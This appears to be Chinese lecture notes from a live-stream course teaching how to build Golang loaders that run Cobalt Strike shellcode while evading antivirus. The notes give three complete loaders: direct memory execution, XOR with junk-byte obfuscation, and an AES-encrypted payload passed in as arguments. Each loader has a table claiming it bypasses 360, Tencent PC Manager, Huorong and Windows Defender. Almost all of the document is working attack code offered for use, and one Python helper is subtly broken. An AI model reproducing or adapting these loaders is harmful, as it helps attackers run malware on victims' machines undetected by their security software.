课件来源于99次直播

#知识点:
1、Golang-Shellcode编译
2、Golang-编码加密-XOR混淆
3、Golang-分离式加载器-参数&资源


#准备工作:
安装Golang环境,IDE(Goland或Vscode)


#基本知识:
1、运行1.go脚本
go run 1.go
2、编译1.go脚本
go build 1.go
3、没有弹窗的exe命令编译:
go build -ldflags="-H windowsgui -w -s" 1.go


#以下环境采用CS生成的C-Shellcode测试

1、简单编译C-Shellcode

安全厂商语言/类别
结果
X60
Golang-直接编译GG
管家
Golang-直接编译GG
某绒
Golang-直接编译GG
Windows Defender
Golang-直接编译GG
//利用思路:利用Golang语言编译执行Shellcode
package main


import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)


const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)


var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
    0xfc, 0x48, //shellcode
}
)


func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}


func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}


addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}


2、XOR运算编译C-Shellcode

安全厂商语言/类别
结果
X60
Golang-XOR运算GG
管家
Golang-XOR运算Bypass
某绒
Golang-XOR运算Bypass
Windows Defender
Golang-XOR运算Bypass
//利用思路:Python开发的加密脚本加密shellcode,Go脚本进行解密执行
// 先用python运算shellcode 后利用Golang还原后调用执行 
def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode


def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1


return new_shellcode


def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 每个字节后面添加随机一个字节,随机字符来源于key
    for i in range(0, len(shellcode)):
        new_shellcode += shellcode[i]


        new_shellcode += key[i % key_len]
return new_shellcode


# 将shellcode打印输出
def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw


if __name__ == '__main__':
shellcode="\xfc\x48\x83\....."
    #这是异或和增加随机字符使用的key
    key = "xiaodi"
# 首先对shellcode进行异或处理
    shellcode = xor(shellcode, key)
# 然后在shellcode中增加随机字符
    shellcode = add_random_code(shellcode, key)
# 将shellcode打印出来
    print(str_to_hex(shellcode))
package main


import (
"syscall"
"time"
"unsafe"
)


const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。


)


var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)


func main() {
mix_shellcode := []byte{0x95, 0x69, .....}
var ttyolller []byte
key := []byte("iqe")
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
// 去除垃圾代码
//fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if i%2 == 0 {
shellcode_final = append(shellcode_final, mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
//fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i%key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}


3、加载分离参数编译C-Shellcode

安全厂商语言/类别
结果
X60
Golang-AES&分离&参数Bypass
管家
Golang-AES&分离&参数Bypass
某绒
Golang-AES&分离&参数Bypass
Windows DefenderGolang-AES&分离&参数Bypass
//利用思路:
//生成器生成AES加密的Shellcode,
//加载器代码中无Shellcode,参数接受。
//使用:
//go run 3.go 生成KEY和加密值
//go build 3.1.go 编译生成加载器
//3.1.exe key 加密值 调用接受执行
//3.go code:
package main


import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
"math/rand"
"os"
"strings"
"time"
)


//随机生成key,后面用来解密的
func key(l int) string {
str := "0123456789abcdefghijklmnopqrstuvwxyz"
bytes := []byte(str)
result := []byte{}
r := rand.New(rand.NewSource(time.Now().UnixNano()))
for i := 0; i < l; i++ {
result = append(result, bytes[r.Intn(len(bytes))])
}
return string(result)
}


//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}


//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}


blockSize := block.BlockSize()
origData = PKCS5Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}


//主函数入口,对字符进行了处理
func main() {
argsWithProg := os.Args
if len(argsWithProg) < 2 {
fmt.Println("usage : ", argsWithProg[0], " paylaod.c")
return
}
confFile := os.Args[1]
str2 := strings.Replace(confFile, "\\x", "", -1)
data, _ := hex.DecodeString(str2)
key1 := key(16)
fmt.Println("Key:", key1)
var key []byte = []byte(key1)
aes, _ := AesEncrypt(data, key)
encoded := base64.StdEncoding.EncodeToString(aes)
fmt.Println("Code:", encoded)
}

//3.1.go code:
package main


import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"os"
"syscall"
"unsafe"
)


//这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")


func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}


//shellcode执行函数
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}


//同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}


//经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}


blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = PKCS5UnPadding(origData)
return origData, nil
}


//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {
key1 := os.Args[1]
payload1 := os.Args[2]
encoded2, _ := base64.StdEncoding.DecodeString(payload1)
var key []byte = []byte(key1)
AES, _ := AesDecrypt(encoded2, key)
Run(AES)
}


吃瓜请扫码: